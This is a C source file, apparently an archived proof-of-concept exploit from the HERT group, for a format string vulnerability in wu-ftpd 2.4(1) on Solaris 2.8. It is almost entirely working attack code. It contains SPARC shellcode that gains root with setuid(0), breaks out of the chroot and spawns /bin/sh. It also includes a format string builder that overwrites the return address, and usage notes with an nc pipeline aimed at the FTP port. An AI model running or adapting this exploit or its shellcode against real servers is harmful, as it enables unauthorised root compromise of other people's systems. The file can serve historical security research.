home *** CD-ROM | disk | FTP | other *** search
- /* Demonstration exploit for wu-ftpd wu-2.4(1) with default build options.
- ** 06/23/00
- **
- ** This exploit is part of the research and development effort conducted by
- ** HERT. It is not a production tool for either attack or defense
- ** within an information warfare setting. Rather, it is a small
- ** program demonstrating proof of concept.
- ** Default values for solaris 2.8 and inetd.
- **
- ** If you are not the intended recipient, or a person responsible for
- ** delivering it to the intended recipient, you are not authorised to and
- ** must not disclose, copy, distribute, or retain this message or any
- ** part of it. Such unauthorised use may be unlawful. If you have
- ** received this transmission in error, please email us immediately at
- ** hert@hert.org so that we can arrange for its return.
- **
- ** kalou <pb@hert.org>
- **
- ** Usage:
- **
- ** 0xfdc (4060) bytes after the ret position, you have:
- **
- ** -HOSTNAME: anonymous/EGGSHELL
- **
- ** This of course begins on a 4 bytes boundary.
- **
- ** Check your hostname len. Align this with pad to have EGGSHELL on a
- ** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.
- **
- ** Use '%s' format bug exploitation to look for this string in memory.
- ** (you have to eat 15 words out of stack).
- **
- ** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.
- ** This substracted value is kept as the distance (-d).
- ** Result is your return address position (-w). Check it if you want.
- **
- ** This code substracts 8 to this address (sparc ret behaviour).
- **
- ** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.
- **
- ** adding 0x870 to this value, I found my string.
- **
- ** offset should be useless. site_padding depends on the '/bin/ftp-exec/'
- ** config stuff.
- **
- ** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21
- **
- */
-
-
-
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef __linux
- #include <getopt.h>
- #endif
-
- void *build_format_string(int where,
- int what,
- int gout,
- int eat,
- int pad)
- {
- int expected_len;
- int what1, where1;
- int what2, where2;
- char w1[512];
- char w2[512];
-
- int i;
- char *buf, *p;
-
- /* generate two %hn len : */
-
- what1 = (what >> 16) & 0xffff;
- what2 = what & 0xffff;
-
- fprintf(stderr, "what1: %0x\n", what1);
- fprintf(stderr, "what2: %0x\n", what2);
-
- if ( what1 > what2 ) {
- where1 = where + 2;
- where2 = where;
- what1 -= what2;
- } else {
- where1 = where;
- where2 = where + 2;
- what2 -= what1;
- }
-
- fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout +
- (eat - 1) * 12);
-
- if (where1 < where2) {
- what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
- } else {
- what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
- }
-
- fprintf(stderr, "%08x: writing first %s\n", what,
- (where1 > where2) ? "what2" : "what1");
- fprintf(stderr, "what1 is %08x, what2 is %08x\n",
- what1, what2);
-
- sprintf(w1, "%%0%dx%%hn", what1);
- sprintf(w2, "%%0%dx%%hn", what2);
-
- fprintf(stderr, "1: %s\n2: %s\n", w1, w2);
-
- /* calculate expected len : */
-
- expected_len = pad + 12 + (eat - 1) * 8
- + strlen(w1) + strlen(w2) + 1;
-
- fprintf(stderr, "len is %d\n", expected_len);
-
- buf = (char *) malloc(expected_len);
-
- if ( buf == NULL)
- return buf;
-
- p = buf;
-
- /* pad */
- for (i = 0; i < pad; i++) {
- *p++ = '.';
- }
-
- /* retaddr, part 1 - first %hn*/
- *p++ = (where1 >> 24) & 0xff;
- *p++ = (where1 >> 16) & 0xff;
- *p++ = (where1 >> 8) & 0xff;
- *p++ = (where1) & 0xff;
-
- *p++ = 0x0f;
- *p++ = 0x0e;
- *p++ = 0x0e;
- *p++ = 0x0f; /* so that the first %0(much)x eats something
-
- /* retaddr, part 2 - second %hn */
- *p++ = ((where2) >> 24) & 0xff;
- *p++ = ((where2) >> 16) & 0xff;
- *p++ = ((where2) >> 8) & 0xff;
- *p++ = (where2) & 0xff;
-
- /* eaters.. */
- for (i = 0; i < (eat - 1); i++) {
- strcpy(p, "%000012x");
- p += 8;
- }
-
- /* what1, what2 */
- if (what1 > what2) {
- strcpy(p, w1);
- strcpy(p + strlen(w1), w2);
- } else {
- strcpy(p, w2);
- strcpy(p + strlen(w2), w1);
- }
-
-
- return buf;
- }
-
- void *ftp_escape(void *buf)
- {
- void *boh;
- char *p = buf;
- char *r;
-
- boh = malloc(4096);
- r = boh;
-
- while (*p) {
- *r++ = *p;
- if ((*p) == '\xff')
- *r++ = *p;
- p++;
- }
- *r = '\0';
- return boh;
- }
-
- void usage(char *me)
- {
- fprintf(stderr, "Usage : %s \n"
- " [-w where (hexa) ] /* ret position */\n"
- " 0 [-o offset ] /* or just offset, or both */\n"
- "1010 [-d distance (hex)] /* distance to pass */\n"
- " 2 [-s site_pad ] /* padding to site_exec */\n"
- " 3 [-p pass_pad ] /* padding to eggshell */\n"
- " 4 [-g gout ] /* output size (200-) */\n"
- " 15 [-e eat ] /* pointers to eat */\n\n\n",
- me);
- exit(0);
- }
-
- main(int argc, char **argv)
- {
- char c;
- int where, offset, distance, gout, site_pad, pass_pad, eat;
- char *buf;
- char break_sparc[] =
- "\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0
- "\x82\x10\x20\x17" // mov 23, %g1
- "\x91\xd0\x20\x08" // ta 8 ! setuid(0)
- "\xae\x10\x20\x2e" // mov 0x2e, %l7
- "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
- "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]
- "\x90\x23\xa0\x30" // sub %sp, 48, %o0
- "\x82\x10\x20\x05" // mov 5, %g1
- "\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1
- "\x91\xd0\x20\x08" // ta 8 ! fd = open(".", 0);
- "\xa6\x82\x20\x01" // addcc %o0, 1, %l3 !
- "\xae\x10\x20\x6b" // mov 0x6b, %l7
- "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
- "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]
- "\x90\x23\xa0\x30" // sub %sp, 48, %o0
- "\x92\x10\x21\xff" // mov 0x1ff, %o1
- "\x82\x10\x20\x50" // mov 0x50, %g1
- "\x91\xd0\x20\x08" // ta 8 ! mkdir("k", 0755)
- "\x90\x23\xa0\x30" // sub %sp, 48, %o0
- "\x82\x10\x20\x3d" // mov 0x3d, %g1
- "\x91\xd0\x20\x08" // ta 8 ! chroot("k")
- "\x90\x24\xe0\x01" // sub %l3, 1, %o0
- "\x82\x10\x20\x78" // mov 0x78, %g1
- "\x91\xd0\x20\x08" // ta 8 ! fchdir(fd)
- "\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7
- "\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7
- "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! ../.
- "\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7
- "\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7
- "\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ] ! /../
- "\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ]
- "\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ]
- "\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ]
- "\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ]
- "\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ]
- "\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ] ! .././..//..//../(ad lib)
- "\xc0\x23\xbf\xf0" // clr [ %sp - 16 ]
- "\x82\x10\x20\x0c" // mov 0xc, %g1
- "\x90\x23\xa0\x30" // sub %sp, 48, %o0
- "\x91\xd0\x20\x08" // ta 8 ! chdir(".././../...")
- "\xae\x10\x20\x2e" // mov 0x2e, %l7
- "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
- "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! stupido. anyway.
- "\x90\x23\xa0\x30" // sub %sp, 48, %o0
- "\x82\x10\x20\x3d" // mov 0x3d, %g1
- "\x91\xd0\x20\x08" // ta 8
- "\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6 ! no more mine.
- "\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6
- "\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7
- "\x90\x0b\x80\x0e" // and %sp, %sp, %o0
- "\x92\x03\xa0\x08" // add %sp, 8, %o1
- "\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2
- "\x9c\x03\xa0\x10" // add %sp, 16, %sp
- "\xec\x3b\xbf\xf0" // std %l6, [%sp-16]
- "\xd0\x23\xbf\xf8" // st %o0, [%sp-8]
- "\xc0\x23\xbf\xfc" // st %g0, [%sp-4]
- "\x82\x10\x20\x3b" // mov 59, %g1
- "\x91\xd0\x20\x08" // ta 8
- "\x91\xd0\x20\x08"; // ta 8
-
-
-
- offset = 0;
- where = 0xffbeeed4;
- distance = 0x1004;
- gout = 4;
- eat = 15;
- site_pad = 2;
- pass_pad = 3;
-
- while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) {
- switch(c) {
- case 'w':
- where = strtoul(optarg, NULL, 16);
- break;
- case 'o':
- offset = atoi(optarg);
- break;
- case 'd':
- distance = strtoul(optarg, NULL, 16);
- break;
- case 'e':
- eat = atoi(optarg);
- break;
- case 'g':
- gout = atoi(optarg);
- break;
- case 's':
- site_pad = atoi(optarg) % 4;
- break;
- case 'p':
- pass_pad = atoi(optarg) % 4;
- break;
- default:
- usage(argv[0]);
- }
- }
-
- where += offset;
-
- fprintf(stderr, "ret [%x]:%x\n"
- "ppad %d\n"
- "spad %d\n"
- "gout %d\n"
- "eat %d\n",
- where, where + distance,
- pass_pad, site_pad, gout, eat);
-
- printf("user ftp\n");
-
- buf = ftp_escape(break_sparc);
- printf("pass %.*s%s\n", pass_pad, "xxxx", buf);
-
- buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);
- buf = ftp_escape(buf);
-
- printf ("site exec %s\n", buf);
- }
-